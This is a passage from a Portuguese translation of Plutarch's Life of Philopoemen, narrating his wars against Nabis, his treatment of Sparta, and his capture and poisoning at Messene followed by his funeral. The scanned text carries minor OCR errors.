general que não Filopêmene, mostrava-se desencorajado, e ficava sempre ansiando
pela sua presença. E, quando ele aparecia no meio dos combatentes, estes
recobravam a coragem e não pensavam em outra coisa senão em passar à ofensiva,
tanta era a confiança que depositavam em seu comandante. Viam que de todos os
capitães, Filopêmene era o único que os inimigos não ousavam olhar de frente, o
único cuja glória e renome lhes inspiravam terror. Isto era fácil de verificar,
em qualquer ocasião. Filipe, rei da Macedônia, persuadido de que, caso conseguisse
eliminar deste mundo, por quaisquer meios, Filopêmene, faria com que os aqueus
voltassem a obedecer-lhe, enviou secretamente à cidade de Argos homens com a
incumbência de matá-lo à traição. Mas o seu plano foi descoberto e Filipe
tornou-se objeto do ódio e do desprezo de toda a Grécia. Os beócios, um dia,
assediaram a cidade de Mégara, e esperavam poder tomá-la de assalto.
Subitamente circulou entre eles a notícia de que Filopêmene se dirigia à praça
sitiada a fim de socorrê-la, da qual se aproximava rapidamente. A notícia era
falsa, mas os beócios ficaram tão amedrontados que deixaram suas escadas
encostadas às muralhas e não pensaram em outra coisa senão em fugir.

XX.
De outra feita, Nábis, tirano dos
lace-demônios, que sucedeu a Macânidas, apoderou-se, à primeira investida, da
cidade de Messena. Filopêmene era então um simples particular, e não
tinha qualquer tropa à sua disposição. Dirigiu-se por isso a Lísipo, que era na
ocasião comandante dos aqueus, para persuadi-lo a ir em socorro de Messena. Mas
ele a isso se recusou, alegando que já era tarde, que a cidade estava
irremediavelmente perdida, pois o inimigo nela penetrara. Diante disso,
Filopêmene decidiu correr em auxílio de Messena somente com as forças da cidade.
Os megaiopolitanos que não esperaram sequer pela realização de uma
assembléia
ou eleição, a fim de ser-lhe atribuído o comando,
acompanharam-no em virtude do decreto da natureza que faz cem que seja
obedecido aquele que é mais digno de comandar. Quando ele chegou às imediações
de Messena, Nábis; informado do que ocorria, não ousou esperar, não obstante
estar com o seu exército dentro da cidade. Saiu sem perda de tempo pela porta
do lado oposto, levando as tropas consigo, e o mais rapidamente possível.
Considerou-se muito feliz por poder escapar a Filopêmene; e, deste modo,
a cidade de Messena livrou-se do cativeiro.

XXL Tudo o que contamos até aqui depõe, sem dúvida
nenhuma, em favor da honra e da glória de Filopêmene; mas a segunda viagem que
fêz a Cândia, a pedido dos gortínios, os quais, estando empenhados numa guerra,
queriam tê-lo à frente de suas tropas, tornou-o objeto de grandes censuras. Com
efeito, tendo se ausentado no momento em que sua pátria era mais fortemente
atacada por Nábis, afirmou-se que ele se retirara, ou para fugir ao combate,
ou porque, numa ocasião inoportuna, estava desejoso de mostrar a sua
coragem num país estrangeiro. Os megalopolitanos, seus concidadãos, vivamente
acossados pelo inimigo, que, depois de devastar todo o seu território, «tinham
acampado junto às suas portas, foram forçados a encerrar-se no interior das
muralhas da cidade, e a semear nas praças e ruas para terem |’0 que comer.
Enquanto isso, Filopêmene, escolhido para comandar estrangeiros, combatia os Candiotas,
fornecendo assim pretexto aos seus inimigos para o acusarem e
dizerem que fugira da guerra que seu pais tivera de sustentar. Todavia, outras
pessoas aleijavam, para justificá-lo, que, tendo os aqueus escolhido outros
generais, êle tornara-se um simples particular, e quisera aproveitar-se
de seu ócio para ir comandar os gortínios, que o haviam chamado com grande
insistência. Acrescentavam que Filopêmene, incapaz de ficar sem nada fazer,
desejava, acima de tudo, manter constantemente em exercício e. atividade as
suas virtudes militares e a sua aptidão para o comando. As palavras que
proferiu de uma feita sobre o rei Ptolomeu são disso uma prova. Em sua presença
louvavam esse príncipe pelo seu hábito de exercitar diariamente suas tropas, e
também porque procurava tornar-se ele próprio mais rijo e capaz através do
manejo constante das armas. "Não é merecedor de elogios um rei que, na
idade de Ptolomeu, ainda se exercita no manejo das armas; o que ele deveria
fazer agora é aplicar os seus conhecimentos".

XXII. Os megalopolitanos,
descontentes com a sua ausência, que passaram a considerar como uma espécie de
traição, quiseram promover contra êle ura decreto de banimento, privando-o de
seus direitos de cidadania. Mas os aqueus, para impedi-lo, enviaram a
Megalópolis o seu comandante, Aristêneto, o qual, embora em divergência com
Filopêmene quanto a questões de governo, não concordava de nenhum modo com o
seu desterro. Filopêmene, vendo depois que seus concidadãos não mais faziam
caso dele, irritou-se, e fêz com que várias pequenas cidades e aldeias das
vizinhanças de Megalópolis, se sublevassem, insinuando-lhes que outrora não
estavam sob a dependência dos megalopolitanos, e não lhes pagavam impostos. E
defendeu êle próprio as pretensões dessas localidades, justificando-as
abertamente, e contrariando os interesses de Megalópolis perante o Conselho da liga dos aqueus. Mas estas coisas
só se verificaram algum tempo depois. Enquanto comandava na ilha de Cândia os
gortínios, êle, em vez de conduzir-se na guerra como homem do Peloponeso ou da
Arcádia, ou seja, de uma maneira franca e generosa, adotou o modo de agir dos
candiotas. E, empregando contra eles próprios os seus estratagemas e ciladas,
as suas manhas e ardis, fêz-lhes logo ver que todas as suas astúcias não
passavam de jogos de crianças em comparação com as que resultam de uma
verdadeira experiência e dos conhecimentos de um bom capitão, exercitado na
arte da guerra.

XXIII. Após
ter adquirido com seus feitos em Cândia admiração universal e a mais brilhante
reputação, Filopêmene voltou ao Peloponeso, onde Filipe havia derrotado Tito
Quíncio, e os aqueus apoiados pelas tropas romanas, estavam em guerra contra
Nábis. Logo depois de sua volta foi eleito comandante dos que lutavam centra
este tirano, travando de início contra êle uma batalha naval, na qual teve a
mesma sorte de Epaminondas. E, com o revés sofrido. a sua reputação ficou
comprometida, pois muito se esperava de seu renome e de suas virtudes
militares. Todavia, quanto a Epaminondas, dizem que êle regressou
voluntariamente da Ásia e das ilhas gregas sem nada ter ali empreendido porque
não queria que seus concidadãos se inclinassem para as coisas da marinha e
reconhecessem suas vantagens, receando que, de bons combatentes de terra firme,
se tornassem, pouco a pouco, como disse Platão, em marinheiros poltrões e
corrompidos. Filopêmene, ao contrário, persuadido de que a experiência
adquirida nos combates em terra firme lhe bastaria para ser bem sucedido
igualmente no mar, aprendeu à sua própria custa o quanto a prática serve à
virtude, e como ela aumenta em todas as artes o poder de todos os que as
exercem. No entanto, êle não foi derrotado nesse combate naval somente por sua
inexperiência das coisas da marinha, mas também per ter cometido um erro muito
grave: utilizou-se de um navio outrora famoso, mas que, tendo permanecido fora
do mar durante quarenta anos, fez água por todos os lados ao ser lançado ao
mar, por pouco não perecendo todos os que nele embarcaram.

XXIV. Este revés trouxe-lhe o desprezo dos inimigos, os quais, certos de que
êle renunciara para sempre à marinha, decidiram insolentemente assediar a
cidade de Gítio. Filopêmene, sendo disso avisado, embarcou imediatamente com
suas tropas, indo ao seu encontro, no momento em que eles menos o esperavam.
Além disso, como estavam confiantes na vitória, deixaram suas forças dispersas,
sem tomar qualquer precaução. Filopêmene desembarcou seus homens durante a
noite, aproximou-se de seu acampamento e ateou-lhe fogo, aproveitando-se da
confusão para matar um número bem grande de adversários. Poucos dias após este
feito, quando passava por caminhos estreitos e sinuosos, o tirano Nábis surgiu inesperadamente à sua frente. Os aqueus
foram tomados de pavor, pois não esperavam poder sair daqueles desfiladeiros
perigosos que o inimigo dominava. Filopêmene deteve-se alguns instantes, e,
depois de examinar a configuração do terreno, demonstrou que a tática é o
ponto mais importante de toda a arte militar; pois, modificando ligeiramente a
disposição de sua falange, para acomodá-la à natureza do lugar onde se
encontrava fechado, êle conseguiu facilmente dissipar o temor de sua gente,
sem que se verificasse qualquer tumulto. Caiu em seguida, inopinadamente, sobre
os inimigos, pondo-os em fuga logo depois. Mas vendo que, em vez de se
refugiarem na cidade, eles começaram a se dispersar pelo campo, de um lado e de
outro, e verificando que o terreno das imediações, inteiramente cortado por
rios e todo coberto de matas, era muito pouco favorável à ação da cavalaria,
ordenou que cessasse a perseguição e, em pleno dia ainda, acampou no local.
Conjeturando depois que, ao cair da noite, cs inimigos, saindo de seus
esconderijos, se dirigiriam, um a um ou dois a dois, para a cidade, êle pôs de
emboscada, ao longo dos riachos e das colinas existentes nas vizinhanças,
aqueus armados com simples espadas, os quais mataram um grande número de
soldados de Nábis, isto porque,
não voltando juntos, mas separados, cada um de seu lado, pois que a fuga os
havia dispersado, caíam nas mãos
de seus adversários como pássaros na rede do caçador.

 

XXV. Estes
feitos tornaram Filopêmene objeto de uma afeição particular por parte dos
gregos; e por isso, nos teatros e nas assembléias públicas era alvo de grandes
homenagens. Tito Quíncio, ambicioso por natureza e amante de honradas, ficou
enciumado, pois achava que um cônsul romano devia merecer dos aqueus maiores
honras e maior respeito do que um simples homem da Arcádia. Aliás, os benefícios
que os gregos dele haviam recebido quando, por uma simples proclamação, livrara
da escravidão do rei Filipe e dos macedônios toda a Grécia, pareciam-lhe bem
superiores aos serviços prestados por Filopêmene. Tito fêz logo depois as pazes
com Nábis,
o qual, passado pouco tempo, foi morto à traição pelos etólios. A morte do
tirano provocou grande confusão em Esparta, e disto se aproveitou Filopêmene
que, sem perda de tempo, para ali se dirigiu com o seu exército. E agiu com
tanta habilidade que, conquistando uns com demonstrações de amizade, outros
através da força, conseguiu o ingresso da cidade na liga dos aqueus. Esta
proeza valeu-lhe a estima e o louvor de todos os aqueus. dada a importância da
aquisição, para a sua liga, de uma cidade tão poderosa e de tão grande
autoridade. Ganhou ainda a afeição e o apreço de todas as pessoas de bem da
nação lacedemônia, que esperavam ter nele um protetor e um defensor de sua
liberdade.

XXVI. Quando a casa e
cs bens do tirano Nábis foram vendidos, após terem sido confiscados pelas autoridades, os lacedemônios decidiram fazer-lhe
presente do dinheiro obtido, que ascendia à soma de 120 talentos, e enviar-lhe
uma embaixada especial a fim de pedir-lhe que o aceitasse. Foi nessa ocasião
qúe a virtude de Filopêmene brilhou em toda a sua pureza, pois verificou-se que
não se contentava em parecer homem de bem, mas o era realmente. Aliás, não se
encontrou nenhum espartano que quisesse levar-lhe o dinheiro. Receavam todos
dirigir-lhe a palavra, e acabaram decidindo confiar a incumbência a, Timolau,
que dele era hóspede e amigo. Chegado a Megalópolis, o emissário dos espartanos
hospedou-se na casa de Filopêmene, e, depois de haver considerado devidamente a
gravidade de suas opiniões e de sua conversação, a simplicidade de sua vida e a
severidade de seus costumes, chegou sem dificuldade à conclusão que tal homem
seria insensível ao fascínio do ouro, e não ousou abrir a boca para falar-lhe
do presente de que era portador. Inventou um pretexto para explicar a viagem, e
regressou sem ter cumprido a sua missão. Enviado de novo Megalópolis, a mesma
coisa aconteceu. Todavia, uma terceira viagem, conseguiu, a muito custo, tocar
o assunto, após falar na afeição que lhe dedicava cidade de Esparta. Filopêmene
tudo ouviu, e mostrou-se sensibilizado; mas decidiu seguir incontinenti ara a
Lacedemônia, e ali aconselhou os espartanos não empregarem o seu dinheiro na
corrupção das pessoas de bem e de seus amigos honestos, cuja virtude estava
sempre à sua disposição, sem terem necessidade de pagá-la; deviam, antes,
comprar o apoio dos maus cidadãos, daqueles que, no conselho, com suas arengas
sediciosas, expunham a cidade a motins e perturbações; assim, fechando-lhes a
boca com o dinheiro, eles se tornariam menos temíveis para os governantes.
"É aos inimigos, e não aos amigos, acrescentou, que se deve tirar a
liberdade de palavra". Tal era, como se vê, a grandeza d’alma de
Filopêmene no que toca a qualquer ambição de dinheiro.

XXVII. Algum tempo depois,
Diófanes, então comandante dos aqueus, foi advertido de que os lacedemônios
projetavam novos acometimentos, e decidiu puni-los. Porém, eles começaram a
preparar-se para a guerra, agitando todo o Peloponeso. Diante disso, Filopêmene
tratou de aplacar a cólera de Diófanes, e procurou demonstrar-lhe que, estando
o rei Antíoco e os romanos empenhados numa guerra, na qual se confrontavam dois
exércitos tão poderosos, bem no centro da Grécia, todo o cuidado de um bom
capitão devia estar em não provocar qualquer agitação em seu país, e que era
preciso dissimular e fechar os olhos a faltas porventura cometidas. Mas
Diófanes, não dando ouvidos a tais ponderações, entrou, à frente de suas
forças, juntamente com Tito Quíncio, em terras dos lacedemônios, aproximando-se
da cidade de Esparta. Tal foi a indignação de Filopêmene diante dessa conduta,
que ousou uma ação sem dúvida não muito legítima, nem inteiramente justa, mas que
revelava uma grande coragem e um atrevimento singular. Entrou na cidade de
Esparta e, embora fosse um simples particular, fechou as portas ao general dos
aqueus e ao cônsul dos romanos, impedindo que nela penetrassem. Pôs termo em
seguida às sedições e agitações de que Esparta era teatro, e incorporou de novo
essa cidade à Liga dos aqueus.

XXVIII. Entretanto, exercendo êle próprio as funções de general dos aqueus,
algum tempo depois, forçou os lacedemônios, em virtude de algumas faltas por
estes cometidas, a receberem de novo as pessoas que haviam banido da cidade;
condenou a morte oitenta cidadãos naturais de Esparta, segundo escreveu
Políbio, ou trezentos e cinqüenta, segundo outro historiador, Aristócrates;
mandou derribar as muralhas da cidade e apoderou-se de grande parte de suas
terras, que entregou aos megalopolitanos; obrigou a sair da Lacedemônia todos
aqueles a quem ps tiranos haviam concedido o direito de cidadania, em Esparta,
mandando-os para a Acaia, a fim de ali morarem, com exceção de três mil, que se
recusaram a obedecer às suas ordens. Como estes se recusassem a sair da
cidade, foram vendidos como escravos, e, com o dinheiro resultante, para
ultrajá-los ainda mais, Filopêmene mandou construir um soberbo pórtico em Megalópolis. Finalmente, entregando-se Bem freios ao seu rancor contra os espartanos, e para,
por assim dizer, espezinhar este povo que não merecia desgraça tão grande, num ato de vingança tão injusto quanto
cruel, destruiu, anulou todas as instituições de Licurgo. Forçou os jovens e as
crianças a abandonarem a educação que recebiam em Esparta para adotarem a
ministrada na Acaia, persuadido de que, enquanto observassem as leis de
Licurgo, não perderiam os seus sentimentos generosos. Curvados sob o
peso de tal infortúnio, e forçados a deixar Filopêmene cortar, por assim
dizer, os nervos do governo da cidade, viveram uma vida de dependência e
submissão. Entretanto, passado algum tempo, solicitaram aos romanos que lhes
permitissem retomar o seu antigo modo de vida; sendo atendidos, abandonaram tudo
o que os aqueus lhes haviam imposto, e restabeleceram, o menos mal que lhes
foi possível, após tão grande corrupção e tantas desgraças, as antigas leis e
os costumes do país.

(1) No ano 561 de Roma.

 

XXIX. Quando
a Grécia (1) se tornou teatro da guerra entre os romanos e o rei Antíoco,
Filopêmene, então simples particular, sem qualquer autoridade sôbre as coisas
do governo, vendo que Antíoco, ocioso em Cálcide, nada mais fazia senão
celebrar suas núpcias cora uma jovem de uma idade muito desproporcionada à sua,
e verificando também que seus guerreiros sírios, longe de seu chefe andavam
dispersos pelas cidades, onde se envolviam nas maiores desordens e praticavam
mil insoléncias, lamentou o fato de não ser o general dos aqueus e dizia que invejava aos romanos o terem de enfrentar inimigos
tão débeis. "Se a fortuna tivesse querido que eu fosse neste momento o
comandante dos aqueus, disse êle, eu já teria retalhado todos os
inimigos nas cavernas que freqüentam".

XXX. Os romanos, depois de
derrotarem Antíoco, começaram a dar maior atenção à Grécia e, com o seu
exército, cercaram os aqueus por todos os lados. Os governadores (2) das
cidades dobravam-se à sua vontade, pois desejavam as suas boas graças. O
poderio de Roma, com o favor dos deuses, tornava-se cada vez maior, e estava
para atingir o ponto mais elevado que a fortuna pode proporcionar. Filopêmene,
enquanto isso se verificava, comportava-se como o bom piloto em luta contra as
ondas: forçado pelas circunstâncias, cedia, às vezes, mas, com maior
freqüência, enfrentava o perigo e resistia Com todas as suas forças. Fazia o
possível para convencer aqueles que gozavam de maior autoridade ou eram dotados
de maior eloqüência a defender a liberdade de Megalópolis. Aristeneto. homem de
grande de prestígio na comunidade, e que sempre se mostrara muito afeiçoado aos
romanos, disse um dia, em pleno Conselho, que os aqueus não deviam opor-lhe
resistência e nem pagar com a ingratidão os benefícios recebidos. Filopêmene,
embora ficasse Indignado ante tais palavras, ouviu-o a princípio em silêncio. Todavia, depois de alguns instantes, não podendo mais conter a sua impaciência e a sua cólera, disse-lhe:
"Aristeneto, por que estás tão apressado em ver chegar para a Grécia a sua
desgraça final?" De outra feita, Mânio (1), cônsul dos romanos,
após vencer o rei Antíoco (2), pediu aos aqueus permissão para os banidos de
Esparta poderem regressar à sua pátria, pedido que foi apoiado por Tito
Quíncio. Filopêmene, no entanto, opôs-se, não por ódio aos desterrados, mas
porque queria que essa graça fosse concedida pelos aqueus, e por êle, e não por
Tito e pelos romanos. Eleito general da comunidade para o ano seguinte, êle
próprio restituiu aos banidos todos os seus direitos e permitiu-lhes que
voltassem à pátria. Assim era Filopêmene: a elevação de seu grande espírito
tornava-o atrevido e teimoso contra aqueles que pretendiam tudo obter
autoritariamente.

(2) No
grego: os demagogos (ou seja, os oradores) (C).

 

XXXI. Filopêmene já estava
com setenta anos quando foi eleito, pela oitava vez, comandante dos
aqueus; êle esperava não somente que o ano de seu comando transcorresse sem
guerra, mas também que a situação na Grécia lhe permitisse passar no repouso e
em paz o resto de sua vida. Do mesmo modo como a força das doenças parece
declinar à medida que diminui o vigor dos corpos enfermos, nas cidades gregas o
amor da disputa e dos combates diminuía na
mesma proporção em que declinava o seu poderio. Mas a vingança divina, que não
deixa impunes nem os atos nem as palavras insolentes dcs homens, atingiu-o já
no fim da vida, e êle caiu como um bom corredor que, por infelicidade,
fraquejasse ao se aproximar do fim da carreira. Conta-se que, achando-se numa
reunião onde se faziam altos elogios a uma certa personagem da época, a qual
era apontada como um bom general, êle disse: "Como podeis estimar um
homem que se deixou aprisionar vivo pelos Seus inimigos?" Poucos dias depois
chegaram notícias dizendo que Dinócrates, o Messênio, inimigo particular de
Filopêmene, com quem tivera várias divergências, e homem geralmente malquisto
pelas pessoas de bem, tal a sua maldade e vida desordenada, afastara Messena
da liga dos aqueus, e que estava em vésperas de ocupar a mão armada o burgo de
Colônís. Filopêmene achava-se então na cidade de Argos, atacado de febre; não
obstante, ao saber de (ais notícias, seguiu para Megalópolis, e com tal pressa
que, num dia, percorreu mais de 400 estádios. Ali chegando, reuniu sem demora a
cavalaria megalopolitana, formada unicamente pelos cidadãos mais ricos e mais
nobres da cidade, todos jovens e tomados de grande afeição pelo seu comandante,
e que, ansiosos por se cobrirem de glória, acompanharam-no de bom grado.
Puseram-se todos incontinenti a caminho de Messena. Aproximaram-se rapidamente
dessa cidade e estavam para atingir a colina de Evandro, quando defrontaram Dinócrates, que saíra ao seu
encontro, à frente de suas tropas, as quais foram tão rudemente atacadas que
logo se puseram em fuga. Entrementes, subitamente, surgiram quinhentos cavaleiros,
aos quais havia sido confiada por Dinócrates a guarda do território de Messena.
A eles se reuniram, nas elevações, aqueles que haviam debandado. XXXII. Filopêmene, que receava ser envolvido, e não queria comprometer a.
segurança dos jovens cavaleiros megalopolitanes, iniciou uma retirada por
terrenos difíceis e acidentados, mantendo-se sempre na retaguarda e voltando-se
com freqüência na direção dos inimigos, a fim de atraí-los unicamente sobre sua
pessoa. Mas nenhum deles ousou aproximar-se de Filopêmene, contentando-se
todos em darem voltas, em torno dele, e em soltarem altos gritos, de longe. Êle
avançou por várias vezes contra os cavaleiros inimigos, a fim de favorecer a
retirada dos seus jovens comandados, que se iam pondo a caminho, um após outro.
E assim agindo, não percebeu que ficara sozinho no meio de grande número de
adversários, cercado por todos os lados. Nenhum, entretanto, ousou travar luta
com Filopêmene frente a frente; mas, fazendo cair sobre êle uma chuva de
dardos, arremessados de longe, forçaram-no a entrar em terreno escarpado e
cheio de rochedos, onde seu cavalo não podia avançar, embora lhe cravasse nos flancos
as esporas, com tal força que o animal sangrava. O exercício contínuo a que
submetera o corpo durante toda a vida lhe proporcionara uma
velhice ágil e robusta, e teria conseguido salvar-se facilmente se a
enfermidade e a fadiga da caminhada não o tivessem enfraquecido a ponto de só a
muito custo poder manter-se na sela. Neste estado, o seu cavalo, falseando um
passo, atirou-o por terra. A queda foi rude e sua cabeça ficou bastante machucada;
permaneceu por isso muito tempo estendido no chão, sem fazer qualquer movimento
e nem pronunciar sequer uma palavra. Os inimigos supuseram-no morto e
aproximaram-se do corpo para despojá-lo. Mas quando o viram erguer a cabeça e
abrir os olhos, atiraram-se sobre êle com furor e amarraram-lhe as mãos pelas
cestas; e conduziram-no para Messena, cobrindo-o dos maiores ultrajes e
vilanias, coisa que uma personagem come êle jamais poderia ler esperado sofrer,
nem mesmo em sonho, por parte de Dinócrates.

(1)     
O cônsul Mânio Acílio
Glabrião derrotou Antíoco no ano 563 de Roma, 191 A. C.

(2)     
É o episódio das Termópiias narrado
na Vida de Catão, do capítulo XXIV
ao capítulo XXIX, tomo III.

 

XXXIII. As
pessoas que haviam permanecido no interior de Messena foram tomadas de indescritível
alegria quando souberam do ocorrido, correndo todos para as portas da cidade a
fim de vê-lo chegar. Mas quando viram Filopêmene arrastado pelos soldados e
todo amarrado, sem qualquer consideração pela sua dignidade e pela sua glória,
adquiridas através de tantas proezas e vitórias, e que lhe valeram tantos
troféus, a maior parte dos messênios teve piedade, e, partilhando de seu
infortúnio, não pôde conter as
lágrimas, deplorando a miséria, e precariedade da grandeza humana. E, não
tardou muito, por um sentimento de humanidade que se propagou no seio deste
povo, começou-se a falar que não era possível esquecer os benefícios recebidos
anteriormente de Filopêmene e a liberdade que havia restituído Messena ao
expulsar o tirano Nábis. Outras pessoas, em pequeno número, para agradar a
Dinó-crates, diziam que êle devia ser torturado e depois eliminado como um
inimigo perigoso e irreconciliável, que jamais perdoaria as ofensas recebidas.
Acrescentaram que, caso se livrasse do cativeiro, irritado pelos maus tratos
que recebera, tornar-se-ia ainda mais temível para Dinócrates. Afinal,
levaram-no para um lugar denominado "Tesouro", cava subterrânea onde
não penetrava nem luz nem ar, e que não tinha sequer uma porta, sendo fechado
por uma grande pedra, empurrada do lado de fora. Foi nesse lugar que o
encerraram e, após fechar a entrada com a pedra, colocaram junto a esta vários
guardas.

XXXIV. Entrementes,
os jovens cavaleiros aqueus, caindo em si, no meio da fuga, e não vendo
Filopêmene, recearam que êle tivesse sido morto. Ficaram paradcs durante muito
tempo, chamando-o em altas vozes, e, vendo que não respondia, puseram-se a se
recriminar mutuamente, dizendo que tinham sido uns covardes ao abandonar o seu
comandante para se salvarem, atitude vergonhosa, pois que êle se sacrificara a
fim de poupar os seus comandados. Puseram-se de novo em movimento, e, indo de um lado para outro, foram finalmente informados de que Filopêmene
havia sido aprisionado. Decidiram então levar a notícia a todas as cidades da
Acaia. Os aqueus, tomados de grande pesar, considerando ser muito grande a
perda sofrida, deliberaram enviar uma embaixada aos messênios, a fim de
solicitar deles que Filopêmene lhes fosse entregue. Ao mesmo tempo,
prepararam-se para marchar com suas armas contra eles, para recuperá-lo de
qualquer modo.

XXXV.
Enquanto se faziam tais preparativos,
Dinócrates, que temia antes de tudo o tempo, pois sabia ser a única coisa capaz
de salvar a vida de Filopêmene, procurou frustrar todas as providências que os
aqueus pudessem tomar. Quando chegou a noite e depois que todos os moradores da
cidade se tinham recolhido, mandou abrir o calabouço e ordenou ao executor que
descesse a fim de levar Uma beberagem com veneno a Filopêmene, dizendo-lhe que
não o deixasse enquanto não tivesse bebido. Quando o executor entrou, o
prisioneiro estava deitado sobre a sua capa, mas a dor que lhe Oprimia o
coração e perturbava o espírito não lhe permitia dormir. Ao ver a luz e o homem
que, de pé, diante dele, tinha na mão a taça com o veneno, ergueu o corpo com
dificuldade, devido à sua fraqueza, e sentou-se. Após segurar a taça,
perguntou ao executor se sabia alguma coisa dos cavaleiros que tinham vindo com
cie, e, em particular, de Lícortas. O homem respondeu-lhe que a maior parte
deles se conseguira salvar. Filopêmene agradeceu-lhe a informação com uma inclinação
da cabeça, e, olhando-o com doçura, disse: "É para mim uma grande satisfação
saber que a desgraça não foi completa". E, sem dizer qualquer outra
palavra, bebeu todo o veneno, deitando-se novamente sobre a capa. O seu
organismo estava tão débil, que não pôde resistir por muito tempo ao veneno,
extinguindo-se assim a sua vida.

XXXVI.
A notícia da morte de Filopêmene
espalhou-se com rapidez por todas as cidades da Àcaia, as quais se mergulharam
numa grande consternação, cobrindo-se de luto. Entretanto, sem perda de tempo,
os magistrados e todos os que se encontravam em idade de fazer uso das armas
reuniram-se na cidade de Megalópolis, onde decidiram que a vingança não podia
ser retardada nem por um instante. Escolheram então Licortas para o posto de
general, e sob seu comando entraram com suas armas no país dos messênios,
matando e incendiando. Os messênios, apavorados ante tal furor, renderam-se e
dispuseram-se a abrir as portas da cidade aos aqueus. Dinõcrates, porém, não
quis ser por eles justiçado: para evitar o suplício que o esperava, matou-se a
si mesmo. E o mesmo fizeram todos os que haviam contribuído para a morte de
Filopêmene. Quanto àqueles
que tinham aconselhado a tortura, Licortas mandou colocá-los numa prisão separada,
a fim de fazê-los morrer no meio dos maiores tormentos. Depois disso,
queimaram o corpo de Filopêmene e as cinzas foram colocadas numa urna.
Deixaram, então, Messena, e não em desordem e confusão, mas com tal aprumo e
disciplina que o cortejo fúnebre parecia um desfile de vitória. Os aqueus
marchavam com coroas de flores em suas cabeças, sinal de triunfo; mas nos seus
olhos viam-se lágrimas, que testemunhavam a sua tristeza. Levaram com eles os
prisioneiros messênios, que arrastavam suas cadeias. Políbio (1), filho do
então general dos aqueus, cercado das personalidades de maior respeito e
consideração, conduzia a urna, a qual estava de tal modo coberta de coroas de
flores, faixas e festões, que mal podia ser vista. Fechavam o cortejo outros
guerreiros, com todas as suas armas e seus cavalos bem ajaezados. Em suas
fisionomias, os aqueus não davam os sinais de tristeza que deveriam
corresponder a tão grande luto, nem os sinais de alegria que deveriam
resultar de tão bela vitória.

(1) Famoso
historiador, amigo de Cipião c filho de Licortas, comandante dos aqueus.

 

XXXVII.
Os moradores das cidades e das
aldeias situadas ao longo do caminho saíam de suas casas para tocar na urna
onde estavam as cinzas de Filopêmene, com o mesmo fervor com que tocavam as
mãos deste grande homem quando êle regressava de suas expedições; e, após tocar
a urna, acompanharam o cortejo até Megalópolis. Os velhos, mulheres e
crianças que, em grande número, tinham se misturado aos guerreiros,, soltavam
gritos penetrantes, os quais repercutiam na cidade, cujos moradores lhes
respondiam com gemidos e lamentações, sentindo que, com a morte de Filopêmene,
tinham perdido r sua preeminência na comunidade dos aqueus. A inumação dos seus
restos revestiu-se da magnificência devida a tão grande homem, e, em volta de
sua sepultura, os prisioneiros messênios foram lapidados. Todas as cidades da
Acaia, através de decretos públicos, erigiram-lhe estátuas, prestando-lhe ainda
outras grandes homenagens. Mas depois, quando chegaram para a Grécia aqueles
dias de infortúnio nos quais Corinto foi incendiada e destruída (1), um romano
caluniador tomou a decisão de fazer derrubar todas as suas estátuas,
acusando-o, como se ainda fosse vivo, de ser inimigo de Rema e de se opor à
prosperidade de seus negócios. Entretanto, Políbio respondeu ao acusador; e,
embora fosse verdade que Filopêmene se tivesse oposto fortemente a Tito Quíncio
e a Mânlio, nem o cônsul Múmio, nem seus assessores e lugar-tenentes, não
quiseram consentir na destruição dos monumentos erguidos à memória de um
guerreiro tão famoso. Estes homens retos abiam distinguir entre a virtude e o interesse, a
honestidade e a conveniência, como exigem o direito e a razão. Estavam
persuadidos de que, do mesmo modo como os homens justos conservam o seu reconhecimento
pelos seus benfeitores, retribuindo assim os benefícios recebidos, as pessoas
virtuosas devem sempre cultuar a memória dos grandes vultos. Eis o que tinha a
dizer sobre a vida de Filopêmene.

 

(1) No terceiro ano da 158.ª olimpíada,
146 A. C.

 

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